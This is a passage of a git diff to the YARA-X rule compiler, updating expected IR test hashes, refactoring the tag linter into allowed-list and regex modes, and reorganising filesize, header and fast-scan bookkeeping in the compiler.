ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } @@ -42,8 +42,8 @@ RULE test_2 item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(0) 3: CONST integer(1) - 8: EQ -- hash: 0x6980500c7aa070d0 - 6: ADD -- hash: 0x11ca3959d9be382c + 8: EQ -- hash: 0xa5d1ba4b15759f11 + 6: ADD -- hash: 0xc235c4c79a917c37 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 7: CONST integer(0) diff --git a/lib/src/compiler/ir/tests/testdata/8.hoisting.ir b/lib/src/compiler/ir/tests/testdata/8.hoisting.ir index 8a0b6699c..fa64ffdea 100644 --- a/lib/src/compiler/ir/tests/testdata/8.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/8.hoisting.ir @@ -1,5 +1,5 @@ RULE test_1 - 14: FOR_IN -- hash: 0x52bf5e8df23693d7 + 14: FOR_IN -- hash: 0xc47b8f8ddd2299c9 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,13 +7,13 @@ RULE test_1 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) 1: CONST integer(1) - 16: WITH -- hash: 0x41fbd3788d9217a0 - 15: MUL -- hash: 0xbde422737d04274c - 6: ADD -- hash: 0x11ca3959d9be382c + 16: WITH -- hash: 0xcfa2c9398227b121 + 15: MUL -- hash: 0xfa358cb21bd9558d + 6: ADD -- hash: 0xc235c4c79a917c37 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 7: CONST integer(2) - 13: FOR_IN -- hash: 0xff1c8ed74a0073b8 + 13: FOR_IN -- hash: 0x92eababf8228ce78 n: Var { frame_id: 2, ty: integer, index: 8 } i: Var { frame_id: 2, ty: integer, index: 9 } max_count: Var { frame_id: 2, ty: integer, index: 10 } @@ -21,14 +21,14 @@ RULE test_1 item: Var { frame_id: 2, ty: unknown, index: 12 } 2: CONST integer(0) 3: CONST integer(1) - 12: EQ -- hash: 0x1900d160247f7f84 + 12: EQ -- hash: 0x9d8af8e8e57c690c 8: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 7 }, type_value: integer(unknown) } - 11: MINUS -- hash: 0xccd68ad07cbe4681 - 10: MINUS -- hash: 0x10decb3bfac38be4 + 11: MINUS -- hash: 0x2e2f54ef1c046941 + 10: MINUS -- hash: 0x7237955a9a09aea3 9: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 13 }, type_value: integer(unknown) } RULE test_2 - 10: FOR_IN -- hash: 0x5fa30afbd11d7a2a + 10: FOR_IN -- hash: 0x90d630e63e981edb n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -36,7 +36,7 @@ RULE test_2 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) 1: CONST integer(1) - 9: FOR_IN -- hash: 0x4cf5fa0e0fbbad81 + 9: FOR_IN -- hash: 0xfd8ebbf0421eb42f n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } @@ -44,8 +44,8 @@ RULE test_2 item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(0) 3: CONST integer(1) - 8: EQ -- hash: 0x6980500c7aa070d0 - 6: ADD -- hash: 0x11ca3959d9be382c + 8: EQ -- hash: 0xa5d1ba4b15759f11 + 6: ADD -- hash: 0xc235c4c79a917c37 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 7: CONST integer(0) diff --git a/lib/src/compiler/ir/tests/testdata/8.ir b/lib/src/compiler/ir/tests/testdata/8.ir index b59ab806d..8f53bbb23 100644 --- a/lib/src/compiler/ir/tests/testdata/8.ir +++ b/lib/src/compiler/ir/tests/testdata/8.ir @@ -1,5 +1,5 @@ RULE test_1 - 14: FOR_IN -- hash: 0xcff1e20451055391 + 14: FOR_IN -- hash: 0x616cc6012d145cb6 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,7 +7,7 @@ RULE test_1 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) 1: CONST integer(1) - 13: FOR_IN -- hash: 0x8f04881f0c313ede + 13: FOR_IN -- hash: 0xf9dbc17ab3aebbc4 n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } @@ -15,18 +15,18 @@ RULE test_1 item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(0) 3: CONST integer(1) - 12: EQ -- hash: 0xeb807bdffaa380d7 - 8: MUL -- hash: 0xbde422737d04274c - 6: ADD -- hash: 0x11ca3959d9be382c + 12: EQ -- hash: 0xa47bdeb071cc333 + 8: MUL -- hash: 0xfa358cb21bd9558d + 6: ADD -- hash: 0xc235c4c79a917c37 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 7: CONST integer(2) - 11: MINUS -- hash: 0x241d002968f97096 - 10: MINUS -- hash: 0x68254094e6feb5f8 + 11: MINUS -- hash: 0x8575ca48083f9355 + 10: MINUS -- hash: 0xc97e0ab38644d8b7 9: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } RULE test_2 - 10: FOR_IN -- hash: 0x5fa30afbd11d7a2a + 10: FOR_IN -- hash: 0x90d630e63e981edb n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -34,7 +34,7 @@ RULE test_2 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) 1: CONST integer(1) - 9: FOR_IN -- hash: 0x4cf5fa0e0fbbad81 + 9: FOR_IN -- hash: 0xfd8ebbf0421eb42f n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } @@ -42,8 +42,8 @@ RULE test_2 item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(0) 3: CONST integer(1) - 8: EQ -- hash: 0x6980500c7aa070d0 - 6: ADD -- hash: 0x11ca3959d9be382c + 8: EQ -- hash: 0xa5d1ba4b15759f11 + 6: ADD -- hash: 0xc235c4c79a917c37 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 7: CONST integer(0) diff --git a/lib/src/compiler/ir/tests/testdata/8.no-folding.ir b/lib/src/compiler/ir/tests/testdata/8.no-folding.ir index 4eda41725..8f53bbb23 100644 --- a/lib/src/compiler/ir/tests/testdata/8.no-folding.ir +++ b/lib/src/compiler/ir/tests/testdata/8.no-folding.ir @@ -1,5 +1,5 @@ RULE test_1 - 14: FOR_IN -- hash: 0x2975ab1e0c45cad2 + 14: FOR_IN -- hash: 0x616cc6012d145cb6 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,7 +7,7 @@ RULE test_1 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) 1: CONST integer(1) - 13: FOR_IN -- hash: 0x990f4f186d5fca26 + 13: FOR_IN -- hash: 0xf9dbc17ab3aebbc4 n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } @@ -15,18 +15,18 @@ RULE test_1 item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(0) 3: CONST integer(1) - 12: EQ -- hash: 0x1b5c74ae4e96f61c - 8: MUL -- hash: 0xfd31adad45ac8007 - 6: ADD -- hash: 0x9bbcc7ec2223cfaa + 12: EQ -- hash: 0xa47bdeb071cc333 + 8: MUL -- hash: 0xfa358cb21bd9558d + 6: ADD -- hash: 0xc235c4c79a917c37 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 7: CONST integer(2) - 11: MINUS -- hash: 0x37f1e6e59410ac3e - 10: MINUS -- hash: 0x7bfa27511215f1a0 + 11: MINUS -- hash: 0x8575ca48083f9355 + 10: MINUS -- hash: 0xc97e0ab38644d8b7 9: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } RULE test_2 - 10: FOR_IN -- hash: 0x4c3499ae038d8175 + 10: FOR_IN -- hash: 0x90d630e63e981edb n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -34,7 +34,7 @@ RULE test_2 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) 1: CONST integer(1) - 9: FOR_IN -- hash: 0x674dd5f463dfb138 + 9: FOR_IN -- hash: 0xfd8ebbf0421eb42f n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } @@ -42,8 +42,8 @@ RULE test_2 item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(0) 3: CONST integer(1) - 8: EQ -- hash: 0xa8cddb464348c98b - 6: ADD -- hash: 0x9bbcc7ec2223cfaa + 8: EQ -- hash: 0xa5d1ba4b15759f11 + 6: ADD -- hash: 0xc235c4c79a917c37 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 7: CONST integer(0) diff --git a/lib/src/compiler/ir/tests/testdata/9.cse.ir b/lib/src/compiler/ir/tests/testdata/9.cse.ir index b55039d94..d6233df8e 100644 --- a/lib/src/compiler/ir/tests/testdata/9.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/9.cse.ir @@ -1,28 +1,28 @@ RULE test_1 - 7: AND -- hash: 0xc5b3f5bfb52edf4f - 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x5a276c8d75077d2b - 3: EQ -- hash: 0x29ac06b50265bae - 1: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 + 7: AND -- hash: 0x9ee1e9c4cc2d7bf1 + 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x96cc220517f2081e + 3: EQ -- hash: 0x66181d65cd02ad92 + 1: PATTERN_COUNT PatternIdx(0) -- hash: 0x65f54f62feacaadb 2: CONST integer(1) - 6: EQ -- hash: 0xa5111bffa7929d34 - 4: PATTERN_OFFSET PatternIdx(0) -- hash: 0xf879c749467cc2a4 + 6: EQ -- hash: 0x88e78fa206eef19 + 4: PATTERN_OFFSET PatternIdx(0) -- hash: 0x351e7cc0e5674d98 5: CONST integer(0) RULE test_2 - 1: PATTERN_MATCH PatternIdx(0) AT -- hash: 0xfb7f3424e7aabb50 + 1: PATTERN_MATCH PatternIdx(0) AT -- hash: 0x5efc911f60870d35 0: CONST integer(0) RULE test_3 - 6: FOR_OF -- hash: 0x38da77c23a5f1b4e + 6: FOR_OF -- hash: 0xb5531dd0e194f373 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: integer, index: 4 } - 5: OR -- hash: 0x9da4149814c75f48 - 1: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x1951a046c05c8a50 + 5: OR -- hash: 0x67532d9f9e4b1e77 + 1: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x9f2225a2be019fb7 0: CONST integer(0) - 4: GT -- hash: 0x80a2d25fc44a3ad3 - 2: PATTERN_COUNT Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1f3792db5a762e26 + 4: GT -- hash: 0x67357bbc1ef503b + 2: PATTERN_COUNT Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xc672940c7992f33c 3: CONST integer(0) diff --git a/lib/src/compiler/ir/tests/testdata/9.hoisting.ir b/lib/src/compiler/ir/tests/testdata/9.hoisting.ir index b55039d94..d6233df8e 100644 --- a/lib/src/compiler/ir/tests/testdata/9.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/9.hoisting.ir @@ -1,28 +1,28 @@ RULE test_1 - 7: AND -- hash: 0xc5b3f5bfb52edf4f - 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x5a276c8d75077d2b - 3: EQ -- hash: 0x29ac06b50265bae - 1: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 + 7: AND -- hash: 0x9ee1e9c4cc2d7bf1 + 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x96cc220517f2081e + 3: EQ -- hash: 0x66181d65cd02ad92 + 1: PATTERN_COUNT PatternIdx(0) -- hash: 0x65f54f62feacaadb 2: CONST integer(1) - 6: EQ -- hash: 0xa5111bffa7929d34 - 4: PATTERN_OFFSET PatternIdx(0) -- hash: 0xf879c749467cc2a4 + 6: EQ -- hash: 0x88e78fa206eef19 + 4: PATTERN_OFFSET PatternIdx(0) -- hash: 0x351e7cc0e5674d98 5: CONST integer(0) RULE test_2 - 1: PATTERN_MATCH PatternIdx(0) AT -- hash: 0xfb7f3424e7aabb50 + 1: PATTERN_MATCH PatternIdx(0) AT -- hash: 0x5efc911f60870d35 0: CONST integer(0) RULE test_3 - 6: FOR_OF -- hash: 0x38da77c23a5f1b4e + 6: FOR_OF -- hash: 0xb5531dd0e194f373 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: integer, index: 4 } - 5: OR -- hash: 0x9da4149814c75f48 - 1: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x1951a046c05c8a50 + 5: OR -- hash: 0x67532d9f9e4b1e77 + 1: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x9f2225a2be019fb7 0: CONST integer(0) - 4: GT -- hash: 0x80a2d25fc44a3ad3 - 2: PATTERN_COUNT Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1f3792db5a762e26 + 4: GT -- hash: 0x67357bbc1ef503b + 2: PATTERN_COUNT Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xc672940c7992f33c 3: CONST integer(0) diff --git a/lib/src/compiler/ir/tests/testdata/9.ir b/lib/src/compiler/ir/tests/testdata/9.ir index b55039d94..d6233df8e 100644 --- a/lib/src/compiler/ir/tests/testdata/9.ir +++ b/lib/src/compiler/ir/tests/testdata/9.ir @@ -1,28 +1,28 @@ RULE test_1 - 7: AND -- hash: 0xc5b3f5bfb52edf4f - 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x5a276c8d75077d2b - 3: EQ -- hash: 0x29ac06b50265bae - 1: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 + 7: AND -- hash: 0x9ee1e9c4cc2d7bf1 + 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x96cc220517f2081e + 3: EQ -- hash: 0x66181d65cd02ad92 + 1: PATTERN_COUNT PatternIdx(0) -- hash: 0x65f54f62feacaadb 2: CONST integer(1) - 6: EQ -- hash: 0xa5111bffa7929d34 - 4: PATTERN_OFFSET PatternIdx(0) -- hash: 0xf879c749467cc2a4 + 6: EQ -- hash: 0x88e78fa206eef19 + 4: PATTERN_OFFSET PatternIdx(0) -- hash: 0x351e7cc0e5674d98 5: CONST integer(0) RULE test_2 - 1: PATTERN_MATCH PatternIdx(0) AT -- hash: 0xfb7f3424e7aabb50 + 1: PATTERN_MATCH PatternIdx(0) AT -- hash: 0x5efc911f60870d35 0: CONST integer(0) RULE test_3 - 6: FOR_OF -- hash: 0x38da77c23a5f1b4e + 6: FOR_OF -- hash: 0xb5531dd0e194f373 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: integer, index: 4 } - 5: OR -- hash: 0x9da4149814c75f48 - 1: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x1951a046c05c8a50 + 5: OR -- hash: 0x67532d9f9e4b1e77 + 1: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x9f2225a2be019fb7 0: CONST integer(0) - 4: GT -- hash: 0x80a2d25fc44a3ad3 - 2: PATTERN_COUNT Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1f3792db5a762e26 + 4: GT -- hash: 0x67357bbc1ef503b + 2: PATTERN_COUNT Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xc672940c7992f33c 3: CONST integer(0) diff --git a/lib/src/compiler/ir/tests/testdata/9.no-folding.ir b/lib/src/compiler/ir/tests/testdata/9.no-folding.ir index 9d77c9552..d6233df8e 100644 --- a/lib/src/compiler/ir/tests/testdata/9.no-folding.ir +++ b/lib/src/compiler/ir/tests/testdata/9.no-folding.ir @@ -1,28 +1,28 @@ RULE test_1 - 7: AND -- hash: 0xe5cafaa8d88f6647 - 0: PATTERN_MATCH PatternIdx(0) -- hash: 0xf292d5de83aa2bcc - 3: EQ -- hash: 0xdd02cd4d9c8dcff4 - 1: PATTERN_COUNT PatternIdx(0) -- hash: 0xc1bc033c6a64ce89 + 7: AND -- hash: 0x9ee1e9c4cc2d7bf1 + 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x96cc220517f2081e + 3: EQ -- hash: 0x66181d65cd02ad92 + 1: PATTERN_COUNT PatternIdx(0) -- hash: 0x65f54f62feacaadb 2: CONST integer(1) - 6: EQ -- hash: 0x7f7928e1f3fa117b - 4: PATTERN_OFFSET PatternIdx(0) -- hash: 0x90e5309a511f7146 + 6: EQ -- hash: 0x88e78fa206eef19 + 4: PATTERN_OFFSET PatternIdx(0) -- hash: 0x351e7cc0e5674d98 5: CONST integer(0) RULE test_2 - 1: PATTERN_MATCH PatternIdx(0) AT -- hash: 0xd5e7410730122f97 + 1: PATTERN_MATCH PatternIdx(0) AT -- hash: 0x5efc911f60870d35 0: CONST integer(0) RULE test_3 - 6: FOR_OF -- hash: 0x9efd07789e3b338f + 6: FOR_OF -- hash: 0xb5531dd0e194f373 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: integer, index: 4 } - 5: OR -- hash: 0xda1fd5ef5cd9baa8 - 1: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x8f6f481cddaae626 + 5: OR -- hash: 0x67532d9f9e4b1e77 + 1: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x9f2225a2be019fb7 0: CONST integer(0) - 4: GT -- hash: 0xf6c07a35e19896a9 - 2: PATTERN_COUNT Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x4a5032b534929583 + 4: GT -- hash: 0x67357bbc1ef503b + 2: PATTERN_COUNT Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xc672940c7992f33c 3: CONST integer(0) diff --git a/lib/src/compiler/linters.rs b/lib/src/compiler/linters.rs index 60a22ef13..1dc4c00e8 100644 --- a/lib/src/compiler/linters.rs +++ b/lib/src/compiler/linters.rs @@ -113,6 +113,11 @@ impl LinterInternal for RuleName { type Predicate<'a> = dyn Fn(&Meta) -> bool + 'a; +enum TagsMode { + Allowed(Vec), + Regex(String, Regex), +} + /// A linter that ensures tags meet specified requirements in either an allowed /// list of tags or in a regex. /// @@ -138,16 +143,14 @@ type Predicate<'a> = dyn Fn(&Meta) -> bool + 'a; /// | /// = note: allowed tags: foo, bar"#); pub struct Tags { - allowed: Vec, - regex: Option, - compiled_regex: Option, + mode: TagsMode, error: bool, } impl Tags { /// A list of strings that tags for each rule must match one of. pub(crate) fn from_list(list: Vec) -> Self { - Self { allowed: list, regex: None, compiled_regex: None, error: false } + Self { mode: TagsMode::Allowed(list), error: false } } /// Regular expression that tags for each rule must match. @@ -155,14 +158,8 @@ impl Tags { regex: R, ) -> Result { let regex = regex.into(); - let compiled_regex = Some(Regex::new(regex.as_str())?); - let tags = Self { - allowed: Vec::new(), - regex: Some(regex), - compiled_regex, - error: false, - }; - Ok(tags) + let compiled_regex = Regex::new(regex.as_str())?; + Ok(Self { mode: TagsMode::Regex(regex, compiled_regex), error: false }) } /// Specifies whether the linter should produce an error instead of a @@ -183,57 +180,61 @@ impl LinterInternal for Tags { report_builder: &ReportBuilder, rule: &ast::Rule, ) -> LinterResult { - if rule.tags.is_none() { + let Some(tags) = rule.tags.as_ref() else { return LinterResult::Ok; - } + }; let mut results: Vec = Vec::new(); - let tags = rule.tags.as_ref().unwrap(); - if !self.allowed.is_empty() { - for tag in tags.iter() { - if !self.allowed.contains(&tag.name.to_string()) { - if self.error { - return LinterResult::Err(errors::UnknownTag::build( - report_builder, - report_builder.span_to_code_loc(tag.span()), - tag.name.to_string(), - Some(format!( - "allowed tags: {}", - self.allowed.join(", ") - )), - )); - } else { - results.push(warnings::UnknownTag::build( - report_builder, - report_builder.span_to_code_loc(tag.span()), - tag.name.to_string(), - Some(format!( - "allowed tags: {}", - self.allowed.join(", ") - )), - )); + + match &self.mode { + TagsMode::Allowed(allowed) => { + for tag in tags.iter() { + if !allowed.iter().any(|a| a == tag.name) { + let note = (!allowed.is_empty()).then(|| { + format!("allowed tags: {}", allowed.join(", ")) + }); + if self.error { + return LinterResult::Err( + errors::UnknownTag::build( + report_builder, + report_builder + .span_to_code_loc(tag.span()), + tag.name.to_string(), + note, + ), + ); + } else { + results.push(warnings::UnknownTag::build( + report_builder, + report_builder.span_to_code_loc(tag.span()), + tag.name.to_string(), + note, + )); + } } } } - } else { - let compiled_regex = self.compiled_regex.as_ref().unwrap(); - - for tag in tags.iter() { - if !compiled_regex.is_match(tag.name) { - if self.error { - return LinterResult::Err(errors::InvalidTag::build( - report_builder, - report_builder.span_to_code_loc(tag.span()), - tag.name.to_string(), - self.regex.as_ref().unwrap().clone(), - )); - } else { - results.push(warnings::InvalidTag::build( - report_builder, - report_builder.span_to_code_loc(tag.span()), - tag.name.to_string(), - self.regex.as_ref().unwrap().clone(), - )); + TagsMode::Regex(regex, compiled_regex) => { + for tag in tags.iter() { + if !compiled_regex.is_match(tag.name) { + if self.error { + return LinterResult::Err( + errors::InvalidTag::build( + report_builder, + report_builder + .span_to_code_loc(tag.span()), + tag.name.to_string(), + regex.clone(), + ), + ); + } else { + results.push(warnings::InvalidTag::build( + report_builder, + report_builder.span_to_code_loc(tag.span()), + tag.name.to_string(), + regex.clone(), + )); + } } } } diff --git a/lib/src/compiler/mod.rs b/lib/src/compiler/mod.rs index 18a9c6e38..40973d25a 100644 --- a/lib/src/compiler/mod.rs +++ b/lib/src/compiler/mod.rs @@ -7,6 +7,7 @@ module implements the YARA compiler. use std::cell::RefCell; use std::collections::{HashMap, HashSet}; use std::io::Write; +use std::num::NonZeroU32; use std::path::{Path, PathBuf}; use std::rc::Rc; #[cfg(feature = "logging")] @@ -31,9 +32,9 @@ use yara_x_parser::{Parser, Span}; use crate::compiler::base64::base64_patterns; use crate::compiler::emit::{EmitContext, emit_rule_condition}; use crate::compiler::errors::{ - CompileError, ConflictingRuleIdentifier, CustomError, DuplicateRule, - DuplicateTag, EmitWasmError, InvalidRegexp, InvalidUTF8, UnknownModule, - UnusedPattern, + CompileError, ConditionTooLarge, ConflictingRuleIdentifier, CustomError, + DuplicateRule, DuplicateTag, EmitWasmError, InvalidRegexp, InvalidUTF8, + UnknownModule, UnusedPattern, }; use crate::compiler::report::ReportBuilder; use crate::compiler::{CompileContext, VarStack}; @@ -261,6 +262,8 @@ struct Namespace { id: NamespaceId, ident_id: IdentId, symbols: Rc>, + global_filesize_bounds: FilesizeBounds, + global_header_constraints: HeaderConstraint, } /// Compiles YARA source code producing a set of compiled [`Rules`]. @@ -361,7 +364,7 @@ pub struct Compiler<'a> { /// capable of storing [`bstr::BString`] must be used, the [`String`] type /// only accepts valid UTF-8. This pool also stores the atoms extracted /// from patterns. - lit_pool: BStringPool, + literal_pool: BStringPool, /// Intermediate representation (IR) tree for condition of the rule that /// is currently being compiled. After compiling each rule the tree is @@ -382,30 +385,6 @@ pub struct Compiler<'a> { /// function name (e.g: `my_module.my_struct.my_func@ii@i`) wasm_exports: FxHashMap, - /// Map that associates a `PatternId` to a certain filesize bound. - /// - /// A condition like `filesize < 1000 and $a` only matches if `filesize` - /// is less than 1000. Therefore, the pattern `$a` does not need be - /// checked for files of size 1000 bytes or larger. - /// - /// In this case, the map will contain an entry associating `$a` to a - /// `FilesizeBounds` value like: - /// `FilesizeBounds{start: Bound::Unbounded, end: Bound:Excluded(1000)}`. - filesize_bounds: FxHashMap, - - /// Map that associates a `PatternId` to a certain constraint on the - /// file header (e.g. magic bytes at offset 0), if any. - /// - /// A condition like `uint16(0) == 0x5A4D and $a` or `$mz at 0 and $a` - /// (were $mz = "MZ") only matches if the file starts with "MZ" (0x5A4D). - /// In this case the map will contain an entry associating `$a` to a - /// `HeaderConstraint` that requires the file to start with those two - /// bytes. - /// - /// This allows skipping pattern checks entirely if the scanned data doesn't - /// start with the expected header prefix. - header_constraints: FxHashMap, - /// A vector with all the rules that has been compiled. A [`RuleId`] is /// an index in this vector. rules: Vec, @@ -413,9 +392,10 @@ pub struct Compiler<'a> { /// Next (not used yet) [`PatternId`]. next_pattern_id: PatternId, - /// Vector where the N-th boolean indicates whether the pattern with - /// PatternId = N is a fast-scan pattern. - fast_scan_patterns: bitvec::vec::BitVec, + /// Vector where the N-th element indicates the maximum number of matches + /// required in fast-scan mode for the pattern with PatternId = N, or + /// `None` if all matches must be tracked. + fast_scan_max_matches: Vec>, /// Map used for de-duplicating pattern. Keys are the pattern's IR and /// values are the `PatternId` assigned to each pattern. Every time a rule @@ -495,11 +475,20 @@ pub struct Compiler<'a> { /// Grouped RegexSets constructed during IR creation for or-expressions. regex_sets: FxHashMap>, + + /// Grouped LiteralSets constructed during IR creation for or-expressions. + literal_sets: FxHashMap>, + + /// Constraints on filesize and header associated with each rule. A + /// [`RuleId`] is an index in this vector. + rule_constraints: Vec<(FilesizeBounds, HeaderConstraint)>, } impl<'a> Compiler<'a> { /// Creates a new YARA compiler. pub fn new() -> Self { + crate::init_logger(); + let mut ident_pool = StringPool::new(); let mut symbol_table = StackedSymbolTable::new(); @@ -523,6 +512,8 @@ impl<'a> Compiler<'a> { id: NamespaceId(0), ident_id: ident_pool.get_or_intern("default"), symbols: symbol_table.push_new(), + global_filesize_bounds: FilesizeBounds::default(), + global_header_constraints: HeaderConstraint::default(), }; // At this point the symbol table (which is a stacked symbol table) has @@ -560,7 +551,7 @@ impl<'a> Compiler<'a> { error_on_slow_pattern: false, error_on_slow_loop: false, next_pattern_id: PatternId(0), - fast_scan_patterns: bitvec::vec::BitVec::new(), + fast_scan_max_matches: Vec::new(), current_namespace: default_namespace, features: FxHashSet::default(), warnings: Warnings::default(), @@ -575,11 +566,9 @@ impl<'a> Compiler<'a> { banned_modules: FxHashMap::default(), ignored_rules: Vec::new(), rules_depending_on_unsupported_modules: FxHashMap::default(), - filesize_bounds: FxHashMap::default(), - header_constraints: FxHashMap::default(), root_struct: Struct::new().make_root(), report_builder: ReportBuilder::new(), - lit_pool: BStringPool::new(), + literal_pool: BStringPool::new(), regex_pool: StringPool::new(), patterns: FxHashMap::default(), ir_writer: None, @@ -588,6 +577,8 @@ impl<'a> Compiler<'a> { includes_enabled: true, include_stack: Vec::new(), regex_sets: FxHashMap::default(), + literal_sets: FxHashMap::default(), + rule_constraints: Vec::new(), } } @@ -823,6 +814,8 @@ impl<'a> Compiler<'a> { id: NamespaceId(self.current_namespace.id.0 + 1), 